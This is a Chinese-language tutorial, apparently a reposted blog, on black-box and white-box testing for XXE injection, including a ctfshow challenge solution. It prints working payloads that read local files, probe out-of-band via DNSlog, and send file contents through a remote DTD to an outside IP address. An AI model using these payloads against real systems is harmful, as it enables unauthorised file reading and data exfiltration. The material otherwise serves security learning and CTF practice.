XXE漏洞 黑盒测试 白盒测试 有无回显问题

embedded/2024/12/31 23:43:31/

前言

什么是XXE(xml外部实体注入漏洞)?  就是网站以xml传输数据 的时候我们截取他的传输流进行修改(网站没有对我们的输入进行过滤) 添加恶意代码 导致数据传输到后台 后台解析xml形式 导致恶意代码被执行

几种常见的传输数据的模式:

1、XML

还有几种模式

普通 :

user=xxx&&pass=xxx

json

{
    
    {
        admin:123
    }
}

为什么介绍这个? 就是不同的文件传输模式是会影响到我们的注入的探针的写入形式

因为 数据的传输是前后端呼应的 : 所以我们的输入在后台是进行解密的

黑盒测试

黑盒测试我们以 本地的源码进行测试

XXE的payload       这里注意  需要在远程的服务器上写入 两个文件
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>1.1、带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/e.txt">3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
4、伪协议玩法

本地先抓包进行判断  xxe是有回显的还是无回显的

那就可以进行文件的读取 (其实XXE实体的注入  还可以进行其他的操作 比如 命令的执行 但是这个一般都是 框架的安全)

演示:

加入这个d:\\下的1.txt是我们的配置文件 

这个有个限制就是php版本需要是5 开头的 因为高版本的这个危险的函数早就鸡鸡了

还有个就是密码随便输就行 都可以进行读取

案例二

一个文本输入的网站  (类似于留言版 这里网站大多会使用 数据传送格式 不然会造成数据的丢失)为什么使用 XML(他是 序列化的传输)

我们右键看一下源码

发现信息就需要进行利用  抓一下包

数据是回显的

为什么后边要加一个 root 这个就是系统的区别了  win是不需要的  但是 linux看这个配置文件是需要root权限

白盒无回显

先说一下思路无回显 :
1、带外   除了使用dnslog  还可以直接使用   自己的服务器
2、 外部xml实体注入        
外部引用dtd库文件(远程代码访问dtd之后就会解析里面的内容xml的特性)进行读取文件(oob盲注  外部引用dtd)
(原理就是把想读取的文件 的 内容  写到其他的空文件)从而实现读取、

白盒测试思路:

1、根据功能看代码  : 如文件的上传的绕过我们黑盒是很难知道逻辑的 只能猜 但是根据这个功能 我们找到相应的代码函数 (move_file_upload)就能分析他的过滤机制

2、根据代码看功能 就是白盒我们知道代码但是不知道  这个漏洞发生在哪里的时候就需要这样做 进行全局搜索我们 了解的这个漏洞的相应的功能

XXE白盒测试的函数        simplexml_load_string       

先玩无回显

带外之后是不是就能 直接执行命令了

但是现在带来的是第二个玩法          oob盲注

就是外部的xxe(远端服务器准备 一个 写入的文件  一个dtd库访问使其触发(

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

))远程访问的作用

之后服务器就会出现这个file.txt

如果执行不了就给与适当的权限

白盒测试

根据函数 找位置

再找功能是那个网页的页面实现的

右键转到引用

看引用 然后浏览器跳转到 页面   进行测试就OK了

演示ctfshow的题目:

解析完我构造 这个的大概意思就是 需要使用 ctfshow 包裹我们的输入才能执行

<!DOCTYPE xiaodi [
        <!ELEMENT ctfshow ANY >
        <!ENTITY flag SYSTEM "file:///flag">
]>
<root>
    <ctfshow>&flag;</ctfshow>
</root>
这个root哪里来的 这个其实是为了成功读取的一个伪装

<!ELEMENT ctfshow ANY > 定义一个ctfshow标签


http://www.ppmy.cn/embedded/149797.html

相关文章

【2025最新计算机毕业设计】基于SpringBoot+Vue体育资讯系统(可定制,项目包括源码、文档、远程调试、免费答疑至毕业】

作者简介&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流。✌ 主要内容&#xff1a;&#x1f31f;Java项目、Python项目、前端项目、PHP、ASP.NET、人工智能…

【Pandas】pandas Series copy

Pandas2.2 Series Conversion 方法描述Series.astype用于将Series对象的数据类型转换为指定类型的方法Series.convert_dtypes用于将 Series 对象的数据类型智能地转换为最佳可能的数据类型的方法Series.infer_objects用于尝试推断 Series 中对象&#xff08;object&#xff0…

logback之自定义pattern使用的转换器

目录 &#xff08;1&#xff09;场景介绍 &#xff08;2&#xff09;定义转换器BizCallerConverter &#xff08;3&#xff09;logback配置conversionRule &#xff08;4&#xff09;测试效果 前文《logback之pattern详解以及源码分析》已经介绍了pattern&#xff0c;以及…

dede-cms关于shell漏洞

一.文件式管理器 1.新建文件 新建一个php文件&#xff0c;内容写个php脚本语言 访问&#xff0c;可以运行 2.文件上传 上传一个php文件&#xff0c;内容同样写一个php代码 访问&#xff0c;运行成功 二.模块-广告管理 来到模块-广告管理——>增加一个新广告 在这里试一下…

嵌入式科普(26)“相面”各大厂MCU和MPU

一、概述 相由心生--->相面术--->面相和人格 本文不看销售数字、不看股票、不看第三方排名。 仅对各大厂半导体芯片官网“相面”&#xff0c;来分析个大厂的产品定位和优势 仅供娱乐&#xff0c;力求逻辑自洽 二、芯片分类 芯片粗略分为&#xff1a;主动芯片和被动芯…

【Android】application@label 属性属性冲突报错

错误记录 What went wrong: Execution failed for task :app:processDebugMainManifest. > Manifest merger failed : Attribute applicationlabel value(string/app_name) from AndroidManifest.xml:8:9-41is also present at [:abslibrary] AndroidManifest.xml:25:9-47 v…

以太网(Ethernet)和无线局域网(Wireless Local Area Network, WLAN)

当然&#xff0c;下面我将详细介绍以太网&#xff08;Ethernet&#xff09;和无线局域网&#xff08;Wireless Local Area Network, WLAN&#xff09;&#xff0c;包括它们的定义、技术标准、优缺点以及应用场景等方面。 一、以太网&#xff08;Ethernet&#xff09; 1. 定义…

ollama-webui - Ollama的ChatGPT 风格的 Web 界面

更多AI开源软件&#xff1a; 发现分享好用的AI工具、AI开源软件、AI模型、AI变现 - &#xff1a;发现分享好用的AI工具、AI开源软件、AI模型。收录了AI搜索引擎&#xff0c;AI绘画工具、AI对话聊天、AI音频工具、AI图片工具、AI视频工具、AI内容检测、AI法律助手、AI高考、AI志…